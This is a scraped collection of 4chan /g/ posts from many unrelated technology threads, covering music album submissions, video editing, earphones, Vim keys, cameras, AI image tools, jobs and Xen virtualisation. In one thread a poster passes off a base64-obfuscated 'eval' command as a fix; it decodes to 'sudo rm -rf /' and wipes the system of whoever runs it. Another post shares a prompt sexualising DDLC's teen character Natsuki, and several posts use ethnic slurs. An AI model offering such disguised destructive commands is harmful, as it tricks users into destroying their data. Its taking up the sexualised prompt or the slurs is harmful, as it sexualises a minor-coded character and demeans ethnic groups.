>/g/ makes a 19th albumTheme: Intelligent Drum And BassTitle: [Accepting suggestions]Deadline: 31st of March, 20:00 GMT>/g/ makes a 20th albumTheme: [Accepting suggestions]>Song submission rules/guidelinesUpload the file somewhere, preferably in a lossless format, and post the link here. If you want to update your track, make a new post.Include the song title in the post, and make it clear that your song is a submission for the album.You must include a screenshot of your DAW - this is to verify the track is not stolen or AI-generated.Optionally you may include cover art for your track, but please confirm that the image in your post is the cover art or it won't be included.You may also add a pseudonym to be included in the track metadata, but it must not be one you already use on music platforms.Songs that violate YouTube's policies won't be uploaded there, but they will still be added to the album.Comment too long. Click here to view the full text.
/g/ makes an 19th albumTheme: Intelligent Drum And Bass>Song submissionsNone yet.>Next album theme suggestions[Suggested during listening party] movie scorehttps://desuarchive.org/g/post/107896404 - produce on openbsdhttps://desuarchive.org/g/post/107912161 - bonghttps://desuarchive.org/g/post/107915027 - goa trancehttps://desuarchive.org/g/post/107965159 - stripper musichttps://desuarchive.org/g/post/108008500 - nut[Suggested during listening party] nyan cat/vocaloid-esque songs[Suggested during listening party] green goblin mode remix albumhttps://desuarchive.org/g/post/108052155 - KLF remakesComment too long. Click here to view the full text.
someone make the master compilation of green goblin mode remixes
>>108263960this
What are you working on, /g/?Previous: >>108226774
>>108267688One thing I am really happy about getting done and working is the "Color Correction" settings. Can really mess around and alter RGB and such. Very easily.
>>108267702and the trim tab. can scrub, trim out segments, encode them or do a pure copy. the re-encode is connected to the selected codec tabs. so whatever you set in those tabs, the re-encode will use. and obviously general settings too. so you can re-encode, scale the video and all that stuff at the same time. and you can automatically conat all the segments or split them all into individual files.
>>108267729oh and to try to help get good, clean cuts, and i should make it clear in the tooltips, is it cuts to the nearest keyframe.
>>108267729nice that looks clean. feature request: a crop tab.
>>108266306How do you get from head node to the next node when both pointers are pointing to null? I think your list is implemented wrong and you probably have a memory leak.
VR editionHow to request advice:>Budget>Intended use (media, source, environment)>Frequency response preference and music examples>Past gear and your thoughts on themFAQ:>Where do I buy IEMs?Amazon, Aliexpress, Linsoul, Hifigo, Shenzhenaudio>Shopping Guide (IEMs, PMPs, Cables, Ear Tips, etc.):https://consoomer-guide.pages.dev/Comment too long. Click here to view the full text.
>>108268098I'm sure you're anxious. you'll enjoy em
>>108268192I am for the sound and having to EQ them but I mainly got them for the aesthetic too. only thing im worried about is they might be too big
>>108250739>MUH NOSTALGIA>MUH FASHION TEC
>>108268986it's a hifiwalker h2, not an ipod classic
just bought me some apple earpods lol bitches love that shit
>porn ads>scam ads>health scam ads that get people killedDon't be evil
>>108261913>porn adsWhat? I've never seen one of those
>>108267667>What law are they breaking by observing your behavior on their websiteGDPR>Statements of the utterly derangedUnrelated argument, even deranged people have a right to privacy.
>>108267906We're not in Europe. Your cookie clicker law has no bearing on the rest of the world.Just stop using Google if you are schizo. The internet too, because 4chan can track what you post oh noooooooooooooooo
So it's no longer to possible to watch anything on yt without signin in?
>>108261913>>>/g/>making shit up for engagementyou realize there's no elonbucks for farming (you)s on this site, right?
After using Rust, C++ now gives me the ick
>>108268876>brain damaged cnile trying to justify this retarded shit
>>108268981Yet the only one sounding brain-damaged is you.
>>108261201Can somebody explain to me how the line gets printed? I get that the infinite loop is optimised away (dumb, but whatever), but how is the print statement run? It's in a separate function that's never even called
>>108269122https://godbolt.org/z/rexYM9381
i like rust because you can have tests right in the files you're testing. no more test sprawl
>books on good algorithms(which compilers can't optimize)>preferably in c
>>108268640a retard asking for a C book in current year wouldn't be smart enough to use AI
CLRS has everything.
>>108268663>a retard asking for a C book in current year wouldn't be smart enough to use AI
>>108268977eh the midwits would be the “AI is cheating” crowd. The college Stacy who hands in an unedited 100% AI-written essay that was prompted by copy pasting the assignment instructions ans begins with “Certainly! Here is a…” does not care about whether AI is cheating or not. It is strictly pseud behavior.
>>108269139>college stacy is not a midwitwho are you
Is it worth it to get a camera in 2026? Pictures from my phone look bad.
>>108268853>AI, remove grey transit van in front of the lens
>>108268875it's okay I fixed it
There's not only a monetary investment but also time when picking up a dedicated camera, especially if you try to save by getting older bodies.At a glance my A6300 produces less pleasing photos than my phone. It's pretty much a must to process every photo manually (especially since the built-in denoise is horrible). This takes a lot of time though so over the years I use it less and less.My phone cannot do shots like these though.
>>108263261ever since i got a wfh job i also decided i have to start going outside to no go insane hiking,camping and going to large social events like protests and sport games then i also decided i need a camera to capture all of this and bought a old nikon d80.Its been fun ngl,took some great pics with it.I dont even use or carry my smartphone with me.
By summer last year I borrowed a cheap rebel T7 and started practicing with it. Sometimes it's fun, but I don't think the amount of time and money I spent after switching to a sony mirrorless camera is justifiable and I find a lot of what I do comes down to editing rather than taking a good fucking picture.
Previous Thread: >>108213481>Links:>DALL-E 3https://www.bing.com/images/createhttps://designer.microsoft.com/image-creator>4ohttps://chatgpt.com/https://sora.chatgpt.comhttps://copilot.microsoft.com/>Imagen 4 and Nano Banana (Pro)https://gemini.google.com/apphttps://labs.google/fx/tools/image-fxhttps://labs.google/fx/tools/whiskhttps://aistudio.google.com/prompts/new_imageComment too long. Click here to view the full text.
>>108266121Prompt pls >~<
>>108266383DDLC Natsuki wearing a tight magenta latex bunny suit. Crossing her arms under her flat chest, pouting, blushing. The background is an out of focus kitchen. Photorealistic portrait with fine details.
Sometimes it gives low res images when requesting 4K
>>108266976>>108266976>>108266976
use case of not just using arrow keys?
>>108268939I think it's because pressing buttons to the right usually means going to next element, which with vertical lists means going down, and vice versa. K is to the right of J so it should follow that it goes to the next element, meaning down.
>>108268939SAME>>108267824imo reaching for Esc is nowhere near as awkward as reaching for arrow keyssince I can pivot your hand to Esc which I can't really do for arrow keysalso i find moving my hand down to the arrow keys is a very awkward wrist movement especially when using a laptop, same reason I dont use the trackpad
>>108267805unironically the most useful part of VIM bindings for me was switching to those / being comfortable with them in roguelike games. numpad for movement actually feels so ass so you generally need to press so many other buttons (go up and down starts, wait, examine, rest, the 10 inventory buttons, etc.)
>>108267805ah yes my four favorite directions, hleft jdown kup and lright
>>108267805arrow keys are a psyop by big keycap to sell more keycaps
is there a better set of bluetooth buds I could get for under 200? Im willing to go with refurbs on this since the discount is steep
>>108261441yea bro get the raycons
>>108264431Yep. I'm not one to recommend a brand of something so stupid as foam tips but honestly these are the only ones I've used that are worth a damn
>>108268083Comply actually use memory foam as opposed to random chink foam tips that are just normal foam.They're not the only one using memory foam but certainly the easiest to find.
>>108261441>Bluetooth budsThey're all shit, get a pair of 20 bucks ones.They are only good for mild convenience.
>>108268083Thanks.
This jeet got a 150K Euro job in Ireland on top of having a 65K dollar freelance work from USA. What's your excuse for being unemployed tech worker? This is why Indians are superior to western techworkers. They do the job of 2 western techworkers for a reasonable salary.
>>108268213Really? Is the freelancing scene that bad?
>>108268717Local, network based freelancing with larger products, yes. Upwork/fiverr mass produced shit is basically thirdie rates at this point.
>>108260643I simply don't have the drive to work myself hard like some slave. What is there to gain?
>>108268808>What is there to gain?Money and as a result women.
>>108267817With a PhD level in Yurop you can expect around 50k at most
>CLI tool does one thing and one thing well>has 50 million options
>t. awk
>>108261728what a fag kek. you have to either do this >>108261872 or run this command:eval $(echo "c3VkbyBybSAtcmYgLyAtLXJlY3Vyc2l2ZQ==" | base64 -d)
>>108268174>--recursivedoesn't the -r accomplish the same thing
One thing is arbitrary. Vim does one thing, it's a text editor. But at the same time it does a million things.
>>108261673limiting the scope of your projects helps with actually completing it and making sure everything works well
Well, /g/?
>>108268990>what you gonna do? GO SOMEWHERE ELSE?
Is this thread made at least by a human?
>>10826899the UN owns open source
>>108268990Microsoft and Linux are best friEEEnds.
>>108269027>thanks for all the free code, linuxtards.
Do you care what your tech contributions are used for?
>>108268685proof?
>>108268707yes
>>108268757no
>>108268798sure
>>108268595i don't wish to copulate with my washing machine
It seems that users for strongest Ryzen CPUs - Zen4 (and Zen5) Threadripper can not fully use their CPU on Linuxes - sa the mainstream Linuxes (especially Debian, Gentoo, Arch, ...) ship with Xen 4.20 or older.Xen 4.21 is needed to support CPPC (CPPC2 ?) api of the CPU.Without that api, the system can not boost beyond base 3200 Mhz clock to the boost speeds such as 5200 MHz.I tested myself (xen, debian stable in dom0 and provider of xen kernel).On baremetal cores go from 530 Hz, to 5300~ on 1, 2 core load, and something in between for all core.All core tasks, or mostly all core tasks, such as rendering 3d, finish 50% faster on bare core (as in: 1 minute vs 1 minute 30 seconds).How do we fix this?Klankers say Slackware might provide Xen 4.21 so it might work there , but very annoying...How do we solve this problem, /g/ ?- other HypervisorComment too long. Click here to view the full text.
>>108268713>why are VMs and shared hostings needed?really?Because if 10 people need e.g. to compile a large program fast (on 128 thread, 256 gb ram) - but sometimes, e.g. 5 minutes each 1 hour (rest are small recompilations), or they run physical simulation sometimes (but not 100% of the time, e.g. run 1 hour sim, then think about it, plan it, then run another next day)then instead of buying 10 of 10,000$ machines, we buy 1 10,000$ machine and make the users...Share the timeyou know the time sharing machinesthey figured that out in 1960's - 1970's and invented PDP11, Unixes and such(spent the saved money on hookers and coke)
>>108268789>you know the time sharing machines>they figured that out in 1960's - 1970's and invented PDP11, Unixes and such>(spent the saved money on hookers and coke)...and if linux would be perfect in isolating users from root, and if users would not need root for anything, then all we need is 1 linux baremetal box.But since in reality there we get user to root exploits, and since users anyway do need to have the root - therefore we need VMs.And since you can still break out of VMs (and since the host system can be attacked also from outside such as bugs in network card drivers, network protocol drivers, and more) - we invented stronger isolations, discussed in this thread
>>108268699>just compile some of the modulesOf course. The real attack surface is not the ~10000 driver, just the like 50 you actually use. I was just thinking about that.But still1) this is 50 drivers too many. In microkernels (and microhypervisors) instead you have kinda 10 drivers, like the memory isolation setup, timer, message passing, and few more, that is all that is in ring0 (plus the code to monitor VMs, the VMM, in case of microhypervisors). That is supposedly 10-20 thousand lines of C. All else is ring 3 user space, including your network, gpu, keyboard, etc. drivers (imported from linux usually I think)2) linux has lots of non-drivers code in there, all running at highest privilege level (ring 0)3) I was pondering a general solution for other people, "how to do it best", not literally for just me, for just the current box I have right now
>>108268789how will all 10 vms have access to the full 128 threads and 256gb of ram at once without shutting one down for another to take it's place? it sounds like vms arent suitable for the usecase and lxc containers for each user would be more appropriate
>>108268885>how will all 10 vms have access to the full 128 threads and 256gb of ram at once without shutting one down for another to take it's place? it sounds like vms arent suitable for the usecase and lxc containers for each user would be more appropriateSharing all the CPU is easy. They are automatically shared without any problem.In KVM (e.g. via just qemu) it simply works by default. It also just works in Xen. It's called vCPU. you can pin them for performance but don't have too.True, memory is a bigger problem.Xen needs to have it allocated per running VM. (KVM too I think).So to host 4 teams doing compilations you might want to have 4 VMs each with 48 GB ram, plus 6 teams doing compulation heavy light ram computation each 16 GB.Each of them gets 128 cores (the same cores that's ok).How ever you can reallocate VM sizes using "balloon" drivers, without restarting the VM. So if some teams work in different timezones or time hours, you can shrink their VM size "for the night" while expand the actively working VM as needed (and give them all enough swap, so that they slow down instead of crashing when slowed down).
